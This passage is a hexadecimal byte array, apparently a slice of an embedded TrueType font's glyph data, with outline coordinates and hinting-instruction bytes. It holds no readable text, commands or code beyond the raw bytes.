- 0xc,0x1,0x10,0xb,0xa,0x7,0x6,0x2,0x1,0x7,0x2,0x0,0x8,0x11,0x14,0x12,
- 0x17,0x39,0x14,0xb1,0x4,0x2,0x3f,0xb1,0xd,0x4,0x10,0xcd,0x31,0x30,0x1,0x11,
- 0x17,0x36,0x33,0x20,0x11,0x15,0x11,0x23,0x11,0x35,0x34,0x23,0x22,0x6,0x15,0x11,
- 0x23,0x11,0x1,0x7,0x3,0x35,0xf3,0x1,0x68,0x8c,0xdd,0xb2,0x78,0x8c,0x5,0x55,
- 0xfd,0xf1,0x2,0x86,0xfe,0xc0,0x27,0xfd,0x9d,0x2,0x63,0x1b,0xd8,0x7f,0xbd,0xfd,
- 0xe6,0x5,0x55,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0,
- 0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x0,0x1,
- 0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x4,
- 0x7,0x0,0x2,0x1,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,
- 0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x13,
- 0x11,0x23,0x11,0x1,0x7,0x8c,0x8c,0x8c,0x5,0x55,0x9d,0x9d,0xfe,0x67,0xfc,0x44,
- 0x3,0xbc,0x0,0x0,0x2,0xff,0xf6,0xfe,0x92,0x0,0xfe,0x5,0x55,0x0,0x3,0x0,
- 0x12,0x0,0x5e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,
- 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x11,0x10,0xdd,0x3c,
- 0xb2,0xf,0x11,0xa,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x4,0x12,0x0,0x2,0x1,
- 0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,
- 0x40,0xc,0x1,0x1,0x11,0xf,0xb,0xa,0x5,0x5,0x0,0x0,0x3,0x0,0x13,0x11,
- 0x14,0x12,0x17,0x39,0x13,0x14,0xb1,0x8,0x3,0x3f,0xb1,0xe,0x8,0x10,0xcd,0x31,
- 0x30,0x13,0x15,0x23,0x35,0x13,0x11,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x33,0x3f,
- 0x1,0x36,0x35,0x11,0xfe,0x8c,0x8c,0xc5,0x1d,0x26,0xc,0x4,0x12,0x3a,0x20,0x5,
- 0x55,0x9d,0x9d,0xfe,0x67,0xfb,0xec,0x29,0xed,0x7,0x63,0x2,0x1,0x13,0x1b,0x7b,
- 0x4,0x14,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x93,0x5,0x55,0x0,0xc,0x0,
- 0x51,0xb1,0xc,0xb,0x2f,0x3c,0xb5,0x0,0xa,0x9,0x1,0x3,0xb,0x10,0x17,0xdd,
- 0x3c,0xb7,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,
- 0xc0,0xc0,0x0,0xb7,0x1,0x0,0xc,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,
- 0x10,0xcd,0xcd,0x13,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x2,0x1,
- 0x2f,0x3c,0xb2,0x9,0x8,0x1,0x10,0xdd,0x3c,0xb2,0x5,0x1,0x8,0x11,0x12,0x39,
- 0x31,0x30,0x1,0x11,0x33,0x1,0x33,0x9,0x1,0x23,0x1,0x23,0x11,0x23,0x11,0x1,
- 0x7,0x40,0x1,0x52,0xb0,0xfe,0x67,0x1,0xe3,0xbd,0xfe,0x6a,0x39,0x8c,0x5,0x55,
- 0xfc,0xe7,0x1,0x80,0xfe,0x49,0xfd,0xfb,0x1,0xcf,0xfe,0x31,0x5,0x55,0x0,0x0,
- 0x1,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2,
- 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,
- 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11,
- 0x1,0x7,0x8c,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x1,0x0,0x7b,0x0,0x0,0x6,
- 0x5,0x3,0xca,0x0,0x1f,0x0,0x7b,0xb1,0x0,0x1f,0x2f,0x3c,0xb1,0x18,0x17,0x2f,
- 0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2,0x16,0x15,0x17,0x10,0xdd,0x3c,0xb3,0x1e,0x1d,
- 0x1,0x1f,0x10,0xdd,0x3c,0x3c,0xb2,0xf,0xe,0xc,0x10,0xdd,0x3c,0xb3,0x3,0x2,
- 0x1,0x1f,0x11,0x12,0x39,0x39,0xb2,0x19,0x17,0x1,0x11,0x12,0x39,0xb3,0x8,0x7,
- 0x15,0x17,0x11,0x12,0x39,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,
- 0xcd,0x13,0xb6,0x1f,0x1e,0x17,0x16,0xe,0xd,0x5,0x17,0x2f,0x3c,0x40,0xd,0x1d,
- 0x19,0x18,0x15,0xf,0xc,0x8,0x7,0x3,0x2,0xa,0x1,0xd,0x11,0x12,0x17,0x39,
- 0xb3,0xa,0x2,0x5,0x2,0x3f,0x3f,0xb3,0x1b,0x5,0x12,0xa,0x10,0xcd,0x10,0xcd,
- 0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x17,0x33,0x36,0x33,0x20,0x19,0x1,
- 0x23,0x11,0x34,0x26,0x23,0x22,0x6,0x15,0x11,0x23,0x11,0x27,0x34,0x23,0x20,0x19,
- 0x1,0x23,0x7b,0x8c,0x3,0x3,0x51,0xe7,0xf3,0x34,0x4,0x5a,0xef,0x1,0x52,0x8c,
- 0x5a,0x7d,0xa6,0x76,0x8c,0x2,0xd3,0xfe,0xe2,0x8c,0x3,0xbc,0x90,0x3,0xa1,0xa1,
- 0xa1,0xfe,0xa7,0xfd,0x8f,0x2,0x7e,0x7e,0x5a,0x7d,0xb0,0xfd,0xd7,0x2,0x71,0x2c,
- 0xb9,0xfe,0xc9,0xfd,0xe1,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9e,0x3,0xca,0x0,
- 0x13,0x0,0x54,0xb1,0x0,0x13,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x12,0x11,
- 0x13,0x10,0xdd,0x3c,0xb3,0xc,0xb,0xa,0x8,0x10,0xdd,0x3c,0x3c,0xb5,0x3,0x2,
- 0x1,0x3,0x11,0x13,0x11,0x12,0x17,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,
- 0x10,0xcd,0xcd,0x13,0xb4,0x13,0x12,0xa,0x9,0x3,0x17,0x2f,0x3c,0x40,0x9,0x11,
- 0xc,0xb,0x8,0x3,0x2,0x6,0x1,0x9,0x11,0x12,0x17,0x39,0xb1,0x5,0x2,0x3f,
- 0xb1,0xf,0x5,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x16,0x15,
- 0x11,0x23,0x11,0x35,0x34,0x26,0x23,0x20,0x19,0x1,0x23,0x7b,0x87,0x4,0x4,0x40,
- 0xfe,0xcd,0x91,0x8c,0x5e,0x86,0xfe,0xd9,0x8c,0x3,0xbc,0x82,0x3,0x93,0x90,0xcc,
- 0xfd,0x92,0x2,0x62,0x24,0x7b,0x55,0xfe,0xe9,0xfd,0xc1,0x0,0x2,0x0,0x60,0xff,
- 0xf2,0x3,0xad,0x3,0xca,0x0,0xb,0x0,0x17,0x0,0x21,0xb1,0x9,0x3,0x2f,0x2f,
- 0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x6,0x0,0x0,0x2,0x3f,
- 0x3f,0xb3,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x20,0x16,0x11,
- 0x10,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,
- 0x36,0x35,0x34,0x26,0x2,0x6,0x1,0x9,0x9e,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e,
- 0x1,0x8,0xba,0x59,0x59,0xba,0xbb,0x59,0x59,0x3,0xca,0xb8,0xfe,0xcc,0xfe,0xcc,
- 0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x74,0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79,
- 0x0,0x0,0x2,0x0,0x7b,0xfe,0x66,0x3,0xb3,0x3,0xca,0x0,0x10,0x0,0x1c,0x0,
- 0x5a,0xb1,0x0,0x10,0x2f,0x3c,0xb3,0xf,0xe,0x1,0x10,0x10,0xdd,0x3c,0x3c,0xb3,
- 0x14,0xd,0x8,0x1,0x10,0xc4,0xc0,0xc4,0xb3,0x3,0x2,0x1,0x10,0x11,0x12,0x39,
- 0x39,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb7,0x1,0x0,0x1,0x0,0x10,0xf,0x0,0x0,
- 0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9,0x1,0xe,0xd,0x3,0x2,0x4,
- 0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xb,0x0,0x5,0x2,0x3f,0x3f,
- 0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,
- 0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x11,0x23,0x1,0x22,0x6,0x15,
- 0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x7,0x4,0x49,0xf1,0xd5,0xa0,
- 0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e,0xa6,0x9e,0x65,0x62,0x3,
- 0xbc,0x79,0x3,0x8a,0xd8,0xfe,0xde,0xfe,0xf3,0xd1,0x7f,0xfd,0xf5,0x4,0xf0,0x91,
- 0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x2,0x0,0x60,0xfe,0x66,0x3,0x9a,0x3,
- 0xca,0x0,0x10,0x0,0x1c,0x0,0x5a,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2,
- 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x1a,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf,
- 0xe,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb7,0x1,0x0,
- 0x10,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9,
- 0x1,0xf,0xe,0x4,0x3,0x4,0x10,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3,
- 0xc,0x2,0x6,0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31,
- 0x30,0x1,0x11,0x23,0x11,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x32,0x17,
- 0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a,
- 0x8c,0x3,0x3f,0xfb,0xcf,0xa2,0xa4,0xd5,0xea,0x4f,0x3,0x7,0xfe,0xe1,0x9b,0x61,
- 0x64,0xa0,0xa3,0x70,0x67,0x3,0xbc,0xfa,0xaa,0x2,0xe,0x3,0x85,0xd8,0x1,0x15,
- 0x1,0x15,0xd6,0x87,0x3,0x76,0x66,0x96,0xef,0xe0,0x8b,0x8f,0xd2,0xfe,0x91,0x0,
- 0x1,0x0,0x89,0x0,0x0,0x3,0x24,0x3,0xd2,0x0,0x12,0x0,0x56,0xb1,0x0,0x12,
- 0x2f,0x3c,0xb3,0x11,0x10,0x1,0x12,0x10,0xdd,0x3c,0x3c,0xb3,0x9,0x8,0x7,0x1,
- 0x10,0xc4,0xc0,0xc0,0xb3,0x3,0x2,0x1,0x12,0x11,0x12,0x39,0x39,0xb1,0xc,0x7,
- 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x12,
- 0x11,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x10,0x8,0x11,0x11,0x12,0x39,0xb3,
- 0x3,0x2,0x1,0x8,0x11,0x12,0x39,0x39,0xb1,0x5,0x2,0x3f,0xb1,0xe,0x5,0x10,
- 0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x20,0x11,0x7,0x23,0x37,0x36,0x35,
- 0x34,0x23,0x22,0x19,0x1,0x23,0x89,0x8c,0xe,0x3,0x53,0xbf,0x1,0x8,0x1,0x8a,
- 0x3,0x3,0xa0,0xea,0x8c,0x3,0xbc,0x6e,0x3,0x87,0xfe,0xf0,0x42,0x18,0x26,0xd,
- 0x93,0xfe,0xdf,0xfd,0xc3,0x0,0x1,0x0,0x4f,0xff,0xf2,0x3,0x7c,0x3,0xca,0x0,
- 0x26,0x0,0x3b,0xb7,0x26,0x21,0x15,0x14,0x13,0xd,0x1,0x0,0x2e,0x2e,0x2f,0x2f,
- 0x2e,0x2e,0x2f,0x2f,0xb5,0x1c,0xd,0x16,0x13,0x7,0x21,0x10,0xcd,0x10,0xcd,0x10,
- 0xcd,0x0,0xb1,0x15,0x14,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x24,0x2,0x10,
- 0x0,0x3f,0x3f,0xb3,0x19,0x10,0x4,0x24,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,
- 0x34,0x26,0x23,0x22,0x6,0x15,0x14,0x1f,0x2,0x4,0x11,0x14,0x6,0x23,0x22,0x26,
- 0x35,0x37,0x33,0x17,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x23,0x20,0x26,0x35,0x34,
- 0x36,0x33,0x20,0x15,0x3,0x60,0x8c,0x51,0xa8,0x9c,0x54,0x8d,0x71,0x8f,0x1,0x4,
- 0xac,0xe5,0xeb,0xb1,0x1,0x91,0x1,0x60,0x8d,0xad,0x6d,0x89,0xfe,0xc1,0xc9,0x9f,
- 0xed,0x1,0x7c,0x2,0xc2,0x64,0x30,0x33,0x61,0x93,0x7,0x6,0x7,0xd,0xfe,0xfd,
- 0xa1,0x78,0x72,0x98,0x34,0x2d,0x5e,0x3f,0x42,0x69,0x97,0x6c,0xaa,0xa1,0x6b,0xe5,
- 0x0,0x0,0x1,0xff,0xf6,0xff,0xf2,0x2,0x9b,0x4,0xa2,0x0,0x17,0x0,0x75,0xb1,
- 0x13,0x12,0x2f,0x3c,0xb5,0x15,0x14,0x11,0x10,0xf,0x4,0x17,0x2f,0x3c,0xb1,0x0,
- 0x1,0x2f,0x3c,0xb5,0x17,0x16,0x3,0x2,0x3,0xf,0x10,0x17,0xdd,0x3c,0xb2,0xb,
- 0xa,0x1,0x10,0xc0,0xc4,0xb3,0x9,0x7,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x8,
- 0xb,0x10,0xcd,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2,0x0,0x17,0x14,0x13,
- 0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xa,
- 0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0x40,0x9,0x1,0x10,0xf,0x7,0x3,0x4,
- 0x9,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0xd,0x0,0x3f,0xb1,0x5,0xd,
- 0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x11,0x14,0x33,0x32,0x35,0x3f,0x1,0x33,0x17,
- 0x10,0x21,0x20,0x3d,0x1,0x11,0x23,0x35,0x33,0x35,0x33,0x15,0x2,0x76,0xfe,0x90,
- 0x88,0x87,0x1,0x2,0x82,0x1,0xfe,0xf4,0xfe,0xeb,0x84,0x84,0x8c,0x3,0xbc,0x74,
- 0xfd,0xb7,0x99,0x89,0x2f,0x35,0x47,0xfe,0xe6,0xeb,0x22,0x2,0x49,0x74,0xe6,0xe6,
- 0x0,0x0,0x1,0x0,0x7b,0xff,0xf2,0x3,0x87,0x3,0xbc,0x0,0x12,0x0,0x50,0xb1,
- 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0xb,0xa,0x8,0x10,0xdd,0x3c,
- 0xb3,0x12,0x11,0x2,0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x4,0x3,0x1,0x2,0x11,0x12,
- 0x39,0x39,0x0,0xb6,0x1,0x0,0x12,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,
- 0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb7,0x11,0xb,0x8,0x4,0x3,0x5,0x9,0x1,
- 0x11,0x12,0x17,0x39,0xb1,0x6,0x0,0x3f,0xb1,0xe,0x6,0x10,0xcd,0x31,0x30,0x1,
- 0x11,0x23,0x37,0x27,0x6,0x23,0x20,0x19,0x1,0x33,0x11,0x14,0x16,0x33,0x32,0x36,
- 0x35,0x11,0x3,0x87,0x8c,0xa,0x3,0x49,0xef,0xfe,0xb1,0x8c,0x56,0x7e,0xa5,0x7b,
- 0x3,0xbc,0xfc,0x44,0x7d,0x3,0x8e,0x1,0x4e,0x2,0x7c,0xfd,0x84,0x82,0x58,0x83,
- 0xaf,0x2,0x24,0x0,0x1,0xff,0xf9,0x0,0x0,0x3,0x3f,0x3,0xbc,0x0,0xd,0x0,
- 0x46,0x40,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,
- 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,
- 0xb6,0x1,0x0,0xd,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,
- 0x2,0x1,0x2f,0x3c,0x40,0xb,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x8,0x3,
- 0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,
- 0x3f,0x2,0x13,0x3,0x3f,0xfe,0xc0,0xc9,0xfe,0xc3,0x90,0xa9,0x35,0x19,0x1a,0x4,
- 0x18,0x18,0x33,0xa2,0x3,0xbc,0xfc,0x44,0x3,0xbc,0xfd,0xf8,0xa3,0x52,0x52,0x51,
- 0x52,0xa2,0x2,0xa,0x0,0x0,0x1,0x0,0x7,0x0,0x0,0x5,0x57,0x3,0xbc,0x0,
- 0x21,0x0,0x87,0x40,0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17,
- 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,
- 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x0,0x21,0x18,
- 0x17,0xe,0xd,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xc,
- 0xb,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0x1b,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,
- 0x19,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xa,0x9,0x8,0x7,0x6,0x5,0x4,
- 0x3,0x18,0xd,0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x3,0x2f,0x2,
- 0x23,0xf,0x2,0x3,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x33,0x13,
- 0x1f,0x2,0x33,0x3f,0x2,0x13,0x5,0x57,0xfe,0xf4,0xd0,0x80,0x27,0x12,0x13,0x3,
- 0x13,0x13,0x27,0x81,0xd4,0xfe,0xfd,0x93,0x87,0x2a,0x14,0x14,0x4,0x13,0x14,0x28,
- 0x83,0xcc,0x82,0x28,0x13,0x13,0x3,0x15,0x14,0x2a,0x86,0x3,0xbc,0xfc,0x44,0x2,
- 0x13,0xa2,0x51,0x51,0x51,0x51,0xa2,0xfd,0xed,0x3,0xbc,0xfd,0xef,0xa6,0x53,0x53,
- 0x53,0x53,0xa5,0x2,0x12,0xfd,0xed,0xa5,0x52,0x53,0x53,0x53,0xa6,0x2,0x11,0x0,
- 0x1,0xff,0xf9,0x0,0x0,0x3,0x42,0x3,0xbc,0x0,0xb,0x0,0x41,0x40,0xc,0xb,
- 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x0,0xb,0x9,0x8,0x0,0x0,
- 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x6,0x5,0x3,0x2,0x3,0x17,0x2f,0x3c,
- 0xb6,0xa,0x7,0x4,0x1,0x4,0x8,0x2,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x2,
- 0x23,0xb,0x1,0x23,0x9,0x1,0x33,0x1b,0x1,0x3,0x1d,0xfe,0xca,0x1,0x5b,0xa7,
- 0xfd,0xfe,0xa7,0x1,0x5b,0xfe,0xc9,0xa8,0xd9,0xd8,0x3,0xbc,0xfe,0x3e,0xfe,0x6,
- 0x1,0x82,0xfe,0x7e,0x1,0xf4,0x1,0xc8,0xfe,0xa3,0x1,0x5d,0x0,0x0,0x1,0xff,
- 0xf9,0xfe,0x53,0x3,0x22,0x3,0xbc,0x0,0x1a,0x0,0x58,0xb1,0x7,0x6,0x2f,0x3c,
- 0xb1,0x10,0x6,0x10,0xc0,0xb7,0x1a,0x16,0x15,0x11,0xf,0xe,0x0,0x6,0x10,0xc0,
- 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0xb6,0x1,0x0,0x1a,0x11,0x10,0x0,0x0,0x13,
- 0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xf,0xe,0x2f,0x3c,0xb3,0x1,0x6,0x3,0x0,
- 0x13,0x10,0xc0,0x13,0xb4,0x1,0x7,0xe,0x3,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,
- 0x16,0x15,0x10,0xe,0x11,0x12,0x39,0x39,0xb1,0x4,0x3,0x3f,0xb1,0x9,0x4,0x10,
- 0xcd,0x31,0x30,0x9,0x1,0xe,0x1,0x23,0x22,0x27,0x35,0x16,0x17,0x16,0x3f,0x1,
- 0x36,0x37,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x3,0x22,0xfe,0xf1,
- 0x39,0x8b,0x81,0x1a,0x29,0x1d,0x14,0x71,0x37,0x1b,0x1,0x8,0x35,0xfe,0xa6,0x95,
- 0x93,0x4a,0x24,0x25,0x4,0x1a,0x19,0x36,0x6c,0x3,0xbc,0xfc,0xd,0xd6,0xa0,0x7,
- 0x74,0x6,0x1,0x6,0xbd,0x5e,0x5,0x1f,0x3,0xbc,0xfe,0x56,0xd4,0x6b,0x6a,0x6a,
- 0x6b,0xd4,0x1,0xaa,0x0,0x0,0x1,0x0,0x2c,0x0,0x0,0x3,0xd,0x3,0xbc,0x0,
- 0x9,0x0,0x45,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x9,0x2f,0x3c,0xb4,0x5,0x4,
- 0x2,0x1,0x3,0x17,0x2f,0x3c,0xb3,0x8,0x3,0x1,0x9,0x11,0x12,0x39,0x39,0x0,
- 0x40,0xb,0x1,0x9,0x8,0x2,0x0,0x1,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,
- 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb3,0x7,0x2,
- 0x8,0x3,0x11,0x12,0x39,0x39,0x31,0x30,0x13,0x21,0x15,0x1,0x21,0x15,0x21,0x35,
- 0x1,0x21,0x5c,0x2,0xb1,0xfd,0xc6,0x2,0x3a,0xfd,0x1f,0x2,0x3c,0xfd,0xf4,0x3,
- 0xbc,0x88,0xfd,0x40,0x74,0x85,0x2,0xc3,0x0,0x0,0x3,0x0,0x59,0xff,0xf2,0x6,
- 0x3f,0x3,0xca,0x0,0x2d,0x0,0x36,0x0,0x40,0x0,0xa3,0xb1,0x1b,0x1a,0x2f,0x3c,
- 0xb5,0x22,0x21,0x20,0x19,0x14,0x1a,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0x40,0xf,0x3e,
- 0x36,0x35,0x2e,0x28,0x27,0x10,0xf,0xb,0xa,0x9,0x2,0x1,0x0,0x1a,0x10,0xc0,
- 0xc0,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc4,0xb1,0x39,0x14,
- 0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x2e,0x36,0x2f,0x3c,0xb1,0x22,0x21,
- 0x2f,0x3c,0xb2,0x0,0x1,0x36,0x10,0xdd,0x3c,0xb5,0x1,0x10,0xf,0x9,0x0,0x0,
- 0x13,0x11,0x12,0x39,0x39,0x13,0xb6,0x17,0x1a,0x19,0x17,0x3,0x36,0x1,0x11,0x12,
- 0x17,0x39,0x2f,0xb3,0x35,0x1b,0x21,0x36,0x11,0x12,0x39,0x39,0xb5,0x1,0x28,0x27,
- 0x2,0x0,0x21,0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x2a,0x2,0x25,0x2,0x12,0x0,
- 0xd,0x0,0x3f,0x3f,0x3f,0x3f,0x40,0xa,0x3c,0x12,0x37,0x17,0x32,0x2a,0x1e,0x25,
- 0x5,0xd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21,
- 0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x37,0x33,0x15,0x10,0x21,0x20,0x27,0x23,0x6,
- 0x21,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x33,0x35,0x34,0x26,0x23,0x22,0x1d,0x1,
- 0x23,0x3e,0x1,0x33,0x20,0x17,0x33,0x36,0x21,0x32,0x16,0x11,0x2f,0x1,0x34,0x26,
- 0x23,0x22,0x6,0x15,0x7,0x5,0x22,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x6,
- 0x3f,0xfd,0x57,0x62,0xc0,0x98,0x60,0x1,0x8e,0xfe,0x68,0xfe,0xdd,0x3d,0x3,0x3e,
- 0xfe,0xe3,0xfe,0x70,0xa9,0xdb,0xe9,0x3f,0x3,0x65,0x9e,0xf5,0x94,0xd,0x89,0xd0,
- 0x1,0x3e,0x33,0x3,0x45,0x1,0x8,0xf9,0xa2,0x8d,0x1,0x6b,0x9a,0xa2,0x73,0x1,
- 0xfe,0x45,0xee,0x6e,0x9d,0x1,0x12,0x7d,0x1,0xcf,0x28,0xd4,0x6d,0x3f,0x63,0x19,
- 0x28,0xfe,0xf9,0xa1,0xa1,0x1,0x25,0xa4,0x7f,0x61,0xa2,0x8a,0x58,0x8e,0x15,0xa8,
- 0x68,0x7b,0x7b,0xad,0xfe,0xf7,0x2f,0x30,0x86,0x5d,0x64,0x8d,0x22,0x7d,0xa8,0x6c,
- 0x4c,0xb4,0x65,0x47,0x0,0x0,0x3,0x0,0x5f,0xff,0xf2,0x6,0x51,0x3,0xca,0x0,
- 0x1f,0x0,0x26,0x0,0x32,0x0,0x6f,0x40,0xe,0x30,0x26,0x20,0x1f,0x1a,0x19,0x14,
- 0xf,0xe,0x9,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e,
- 0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0x2a,0x14,0x10,0xcd,0x0,0xb1,0x9,0x8,0x2f,0x3c,
- 0xb1,0x20,0x26,0x2f,0x3c,0xb2,0x0,0x1,0x26,0x10,0xdd,0x3c,0xb5,0x1,0xf,0xe,
- 0x8,0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb5,0x1,0x1a,0x19,0x2,0x0,0x26,
- 0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x1c,0x2,0x17,0x2,0x11,0x0,0xc,0x0,0x3f,
